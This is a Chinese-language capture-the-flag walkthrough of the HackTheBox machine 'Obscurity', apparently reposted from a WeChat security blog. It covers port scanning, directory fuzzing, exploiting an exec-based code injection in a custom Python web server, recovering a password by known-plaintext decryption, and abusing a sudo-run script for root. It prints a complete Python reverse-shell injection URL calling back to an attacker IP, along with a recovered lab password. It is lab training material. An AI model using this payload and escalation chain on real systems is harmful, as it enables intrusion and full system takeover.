HackTheBox-Linux-Obscurity

admin 2021年10月4日01:53:41评论92 views字数 2772阅读9分14秒阅读模式

一个每日分享渗透小技巧的公众号HackTheBox-Linux-Obscurity



大家好,这里是 大余安全 的第 174 篇文章,本公众号会每日分享攻防渗透技术给大家。



HackTheBox-Linux-Obscurity

靶机地址:https://www.hackthebox.eu/home/machines/profile/219

靶机难度:中级(4.0/10)

靶机发布日期:2020年5月4日

靶机描述:

Obscurity is medium difficulty Linux machine that features a custom web server. A code injection vulnerability is exploited to gain an initial foothold as www-data . Weak folder permissions reveal a custom cryptography algorithm, that has been used to encrypt the user's password. A knownplaintext attack reveals the encryption key, which is used to decrypt the password. This password is used to move laterally to the user robert , who is allowed to run a faux terminal as root. This can be used to escalate privileges to root via winning a race condition or by overwriting sudo

arguments.


请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

HackTheBox-Linux-Obscurity




HackTheBox-Linux-Obscurity

一、信息收集


HackTheBox-Linux-Obscurity

可以看到靶机的IP是10.10.10.168...

HackTheBox-Linux-Obscurity

我这里利用Masscan快速的扫描出了22,80,8080端口,在利用nmap详细的扫描了这些端口情况...

HackTheBox-Linux-Obscurity

文字讨论了网站如何使用自定义服务器....

该页面还说到这是专注于安全性软件公司的网站,他们的产品套件包括BadHTTPServer Web服务器,加密算法和SSH替代等...

HackTheBox-Linux-Obscurity

还有给开发者说,Web服务器的当前源代码位于SuperSecureServer.py中...

HackTheBox-Linux-Obscurity

访问发现了还存在前端目录,这里利用wfuzz枚举下即可...

HackTheBox-Linux-Obscurity

wfuzz -c -w /usr/share/wfuzz/wordlist/general/medium.txt -u http://10.10.10.168:8080/FUZZ/SuperSecureServer.py

可看到枚举到了develop...

HackTheBox-Linux-Obscurity

通过枚举的查看到了源代码...

解析该代码的弱点是exec功能,该功能会执行系统命令...exec以path为参数,如果进行操作path,会看到它是受控制的,通过request可以轻松地注入代码,这里利用pentestmonkey的python外壳即可...

HackTheBox-Linux-Obscurity

http://10.10.10.168:8080/';import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

可看到获得了反向外壳...

HackTheBox-Linux-Obscurity

枚举存在robert一个用户目录,该目录下存在SuperSecureCrypt.py脚本和一些txt文本信息...

检查SuperSecureCrypt.py发现了这是个解密的脚本,需要配合robert用户目录下的txt文本执行...

HackTheBox-Linux-Obscurity

查看了所有文本信息,对于check下也提示了想法是对的...

HackTheBox-Linux-Obscurity

python3 SuperSecureCrypt.py -i out.txt -k "Encrypting this file with your key should result in out.txt, make sure your key is correct!" -d -o /tmp/test.txtpython3 SuperSecureCrypt.py -i passwordreminder.txt -k "alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovich" -o /tmp/pass.txt -d

获得了密码robert的密码...

HackTheBox-Linux-Obscurity

然后ssh登录了用户robert,并获得了user_flag信息...

HackTheBox-Linux-Obscurity

sudo -l  发现了存在BetterSSH.py可执行root....

查看下脚本看看...

HackTheBox-Linux-Obscurity

HackTheBox-Linux-Obscurity

解析该脚本:

首先需要用户的username和password,目前可以使用现有的用户名密码:robert:SecThruObsFTW...

然后脚本会创建一个/tmp名为的SSH文件,并将其内容写入/etc/shadow中...如果用户名和密码正确,它将打印出Authed!然后将会话设置为1并保留该文件,否则将从中删除该文件/tmp/SSH...之后,它将请求用户输入并创建一个会话,session['user'] + "@Obscure$ "...

这里就很好提权了...只需要输入robert用户通过后,在运行-u root 运行shell即可...

HackTheBox-Linux-Obscurity


HackTheBox-Linux-Obscurity

可看到注入sudo,执行了shell,获得了反向外壳,并获得了root_flag信息...

这里熟悉了BetterSSH.py脚本后,还有很多方法可以获得root权限,例如利用错误的用户名密码,执行获得root的hash密码,然后利用开膛手爆破即可,或者PATH劫持写入/bin/bash直接能获得root权限...还有几种方法,自己挖掘吧...


这台靶机简单,中规中矩,加油!


由于我们已经成功得到root权限查看user和root.txt,因此完成这台中级的靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。


如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

HackTheBox-Linux-Obscurity


如果觉得这篇文章对你有帮助,可以转发到朋友圈,谢谢小伙伴~

HackTheBox-Linux-Obscurity
HackTheBox-Linux-Obscurity


HackTheBox-Linux-Obscurity


随缘收徒中~~随缘收徒中~~随缘收徒中~~


欢迎加入渗透学习交流群,想入群的小伙伴们加我微信,共同进步共同成长!

HackTheBox-Linux-Obscurity

大余安全

一个全栈渗透小技巧的公众号

HackTheBox-Linux-Obscurity





本文始发于微信公众号(大余安全):HackTheBox-Linux-Obscurity

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年10月4日01:53:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HackTheBox-Linux-Obscurityhttps://cn-sec.com/archives/562720.html

发表评论

匿名网友 填写信息